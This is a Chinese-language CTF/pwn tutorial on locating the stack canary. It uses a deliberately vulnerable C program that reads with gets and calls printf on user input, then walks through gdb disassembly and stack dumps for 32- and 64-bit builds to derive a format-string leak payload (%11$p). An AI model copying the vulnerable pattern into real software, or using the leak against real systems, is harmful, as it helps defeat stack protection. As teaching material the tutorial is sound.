PWN 如何确定canary地址
PWN 如何确定canary地址
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
void func(){
char s[20];
gets(&s);
printf(s);
}
int main(){
func();
char s[20];
gets(&s);
printf(s);
}
编译
1
2
gcc -m32 -fstack-protector-all canary.c -o x86
gcc -fstack-protector-all canary.c -o x64
32
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x000011ff <+0>: lea ecx,[esp+0x4]
0x00001203 <+4>: and esp,0xfffffff0
0x00001206 <+7>: push DWORD PTR [ecx-0x4]
0x00001209 <+10>: push ebp
0x0000120a <+11>: mov ebp,esp
0x0000120c <+13>: push ebx
0x0000120d <+14>: push ecx
0x0000120e <+15>: sub esp,0x20
0x00001211 <+18>: call 0x10b0 <__x86.get_pc_thunk.bx>
0x00001216 <+23>: add ebx,0x2dde
0x0000121c <+29>: mov eax,gs:0x14
0x00001222 <+35>: mov DWORD PTR [ebp-0xc],eax
0x00001225 <+38>: xor eax,eax
0x00001227 <+40>: call 0x11ad <func>
0x0000122c <+45>: sub esp,0xc
0x0000122f <+48>: lea eax,[ebp-0x20]
0x00001232 <+51>: push eax
0x00001233 <+52>: call 0x1050 <gets@plt>
0x00001238 <+57>: add esp,0x10
0x0000123b <+60>: sub esp,0xc
0x0000123e <+63>: lea eax,[ebp-0x20]
0x00001241 <+66>: push eax
0x00001242 <+67>: call 0x1040 <printf@plt>
0x00001247 <+72>: add esp,0x10
0x0000124a <+75>: mov eax,0x0
0x0000124f <+80>: mov edx,DWORD PTR [ebp-0xc]
0x00001252 <+83>: sub edx,DWORD PTR gs:0x14
0x00001259 <+90>: je 0x1260 <main+97>
0x0000125b <+92>: call 0x1270 <__stack_chk_fail_local>
0x00001260 <+97>: lea esp,[ebp-0x8]
0x00001263 <+100>: pop ecx
0x00001264 <+101>: pop ebx
0x00001265 <+102>: pop ebp
0x00001266 <+103>: lea esp,[ecx-0x4]
0x00001269 <+106>: ret
End of assembler dump.
可以看到,每个函数都有自己的canary 其值也不一样
main 的是 ebp-0xC 的位置
func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ disassemble func
Dump of assembler code for function func:
0x000011ad <+0>: push ebp
0x000011ae <+1>: mov ebp,esp
0x000011b0 <+3>: push ebx
0x000011b1 <+4>: sub esp,0x24
0x000011b4 <+7>: call 0x10b0 <__x86.get_pc_thunk.bx>
0x000011b9 <+12>: add ebx,0x2e3b
0x000011bf <+18>: mov eax,gs:0x14
0x000011c5 <+24>: mov DWORD PTR [ebp-0xc],eax
0x000011c8 <+27>: xor eax,eax
0x000011ca <+29>: sub esp,0xc
0x000011cd <+32>: lea eax,[ebp-0x20]
0x000011d0 <+35>: push eax
0x000011d1 <+36>: call 0x1050 <gets@plt>
0x000011d6 <+41>: add esp,0x10
0x000011d9 <+44>: sub esp,0xc
0x000011dc <+47>: lea eax,[ebp-0x20]
0x000011df <+50>: push eax
0x000011e0 <+51>: call 0x1040 <printf@plt>
0x000011e5 <+56>: add esp,0x10
0x000011e8 <+59>: nop
0x000011e9 <+60>: mov eax,DWORD PTR [ebp-0xc]
0x000011ec <+63>: sub eax,DWORD PTR gs:0x14
0x000011f3 <+70>: je 0x11fa <func+77>
0x000011f5 <+72>: call 0x1270 <__stack_chk_fail_local>
0x000011fa <+77>: mov ebx,DWORD PTR [ebp-0x4]
0x000011fd <+80>: leave
0x000011fe <+81>: ret
End of assembler dump.
可以看到 canary的位置是 ebp-0xC
但是 func和main里的 值是不同的
我们下断点到func的printf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
gdb-peda$ b *func+51
Breakpoint 1 at 0x11e0
# 运行输入 7 个 a
# 查看canary的位置和值
gdb-peda$ x $ebp-0xC
0xffffd29c: 0x863f9400
# 查看栈空间
gdb-peda$ stack 0x20
0000| 0xffffd270 --> 0xffffd288 ("aaaaaaa")
0004| 0xffffd274 --> 0x1
0008| 0xffffd278 --> 0xf7fc2730 ("$SUV\264\221\226\006")
0012| 0xffffd27c --> 0x565561b9 (<func+12>: add ebx,0x2e3b)
0016| 0xffffd280 --> 0x0
0020| 0xffffd284 --> 0x1
0024| 0xffffd288 ("aaaaaaa")
0028| 0xffffd28c --> 0x616161 ('aaa')
0032| 0xffffd290 --> 0xffffffff
0036| 0xffffd294 --> 0xf7fca67c --> 0xe
0040| 0xffffd298 --> 0xf7ffd5e8 --> 0xf7fca000 --> 0x464c457f
0044| 0xffffd29c --> 0x863f9400
0048| 0xffffd2a0 --> 0xf7ffcff4 --> 0x32f34
0052| 0xffffd2a4 --> 0x56558ff4 --> 0x3ef0
0056| 0xffffd2a8 --> 0xffffd2d8 --> 0x0
0060| 0xffffd2ac (",bUV")
0064| 0xffffd2b0 --> 0x0
0068| 0xffffd2b4 --> 0x0
0072| 0xffffd2b8 --> 0x13
0076| 0xffffd2bc --> 0xf7fc2410 --> 0xf7c00000 --> 0x464c457f
0080| 0xffffd2c0 --> 0xf7c216ac --> 0x21e04c
0084| 0xffffd2c4 --> 0xf7fd9e61 (<_dl_fixup+225>: mov DWORD PTR [esp+0x28],eax)
0088| 0xffffd2c8 --> 0xf7c1c9a2 ("_dl_audit_preinit")
0092| 0xffffd2cc --> 0x863f9400
0096| 0xffffd2d0 --> 0xffffd2f0 --> 0x1
--More--(25/32)
0100| 0xffffd2d4 --> 0xf7e1dff4 --> 0x21dd8c
0104| 0xffffd2d8 --> 0x0
0108| 0xffffd2dc --> 0xf7c237c5 (<__libc_start_call_main+117>: add esp,0x10)
0112| 0xffffd2e0 --> 0x1
0116| 0xffffd2e4 --> 0x0
0120| 0xffffd2e8 --> 0x78 ('x')
0124| 0xffffd2ec --> 0xf7c237c5 (<__libc_start_call_main+117>: add esp,0x10)
计算偏移
0xffffd29c - 0xffffd270 = 44
44 / 4 = 11
payload: %11$p
验证
1
2
3
4
5
6
7
8
9
10
gdb-peda$ r
Starting program: /home/kali/win/Downloads/x86
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
%11$p
gdb-peda$ x $ebp-0xC
0xffffd29c: 0xffd01200
gdb-peda$ c
Continuing.
0xffd01200
64
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000000011a9 <+0>: push rbp
0x00000000000011aa <+1>: mov rbp,rsp
0x00000000000011ad <+4>: sub rsp,0x20
0x00000000000011b1 <+8>: mov rax,QWORD PTR fs:0x28
0x00000000000011ba <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000000011be <+21>: xor eax,eax
0x00000000000011c0 <+23>: mov eax,0x0
0x00000000000011c5 <+28>: call 0x1159 <func>
0x00000000000011ca <+33>: lea rax,[rbp-0x20]
0x00000000000011ce <+37>: mov rdi,rax
0x00000000000011d1 <+40>: mov eax,0x0
0x00000000000011d6 <+45>: call 0x1050 <gets@plt>
0x00000000000011db <+50>: lea rax,[rbp-0x20]
0x00000000000011df <+54>: mov rdi,rax
0x00000000000011e2 <+57>: mov eax,0x0
0x00000000000011e7 <+62>: call 0x1040 <printf@plt>
0x00000000000011ec <+67>: mov eax,0x0
0x00000000000011f1 <+72>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000000011f5 <+76>: sub rdx,QWORD PTR fs:0x28
0x00000000000011fe <+85>: je 0x1205 <main+92>
0x0000000000001200 <+87>: call 0x1030 <__stack_chk_fail@plt>
0x0000000000001205 <+92>: leave
0x0000000000001206 <+93>: ret
End of assembler dump.
func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ disassemble func
Dump of assembler code for function func:
0x0000000000001159 <+0>: push rbp
0x000000000000115a <+1>: mov rbp,rsp
0x000000000000115d <+4>: sub rsp,0x20
0x0000000000001161 <+8>: mov rax,QWORD PTR fs:0x28
0x000000000000116a <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000000116e <+21>: xor eax,eax
0x0000000000001170 <+23>: lea rax,[rbp-0x20]
0x0000000000001174 <+27>: mov rdi,rax
0x0000000000001177 <+30>: mov eax,0x0
0x000000000000117c <+35>: call 0x1050 <gets@plt>
0x0000000000001181 <+40>: lea rax,[rbp-0x20]
0x0000000000001185 <+44>: mov rdi,rax
0x0000000000001188 <+47>: mov eax,0x0
0x000000000000118d <+52>: call 0x1040 <printf@plt>
0x0000000000001192 <+57>: nop
0x0000000000001193 <+58>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000001197 <+62>: sub rax,QWORD PTR fs:0x28
0x00000000000011a0 <+71>: je 0x11a7 <func+78>
0x00000000000011a2 <+73>: call 0x1030 <__stack_chk_fail@plt>
0x00000000000011a7 <+78>: leave
0x00000000000011a8 <+79>: ret
End of assembler dump.
确定偏移
和 32位一样
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ b *func+52
Breakpoint 1 at 0x118d
gdb-peda$ stack 20
0000| 0x7fffffffe0f0 --> 0x61616161616161 ('aaaaaaa')
0008| 0x7fffffffe0f8 --> 0x0
0016| 0x7fffffffe100 --> 0x0
0024| 0x7fffffffe108 --> 0xcb8aad833bfea600
0032| 0x7fffffffe110 --> 0x7fffffffe140 --> 0x1
0040| 0x7fffffffe118 --> 0x5555555551ca (<main+33>: lea rax,[rbp-0x20])
0048| 0x7fffffffe120 --> 0x0
0056| 0x7fffffffe128 --> 0x7ffff7fe6900 (<dl_main>: push rbp)
0064| 0x7fffffffe130 --> 0x0
0072| 0x7fffffffe138 --> 0xcb8aad833bfea600
0080| 0x7fffffffe140 --> 0x1
0088| 0x7fffffffe148 --> 0x7ffff7df06ca (<__libc_start_call_main+122>: mov edi,eax)
0096| 0x7fffffffe150 --> 0x7fffffffe240 --> 0x7fffffffe248 --> 0x38 ('8')
0104| 0x7fffffffe158 --> 0x5555555551a9 (<main>: push rbp)
0112| 0x7fffffffe160 --> 0x155554040
0120| 0x7fffffffe168 --> 0x7fffffffe258 --> 0x7fffffffe513 ("/home/kali/win/Downloads/x64")
0128| 0x7fffffffe170 --> 0x7fffffffe258 --> 0x7fffffffe513 ("/home/kali/win/Downloads/x64")
0136| 0x7fffffffe178 --> 0x9a22196acfa30b05
0144| 0x7fffffffe180 --> 0x0
0152| 0x7fffffffe188 --> 0x7fffffffe268 --> 0x7fffffffe530 ("USER=kali")
24 - 0 / 8 = 3
3 + 6 = 9
6 个寄存器参数
本文由作者按照 CC BY 4.0 进行授权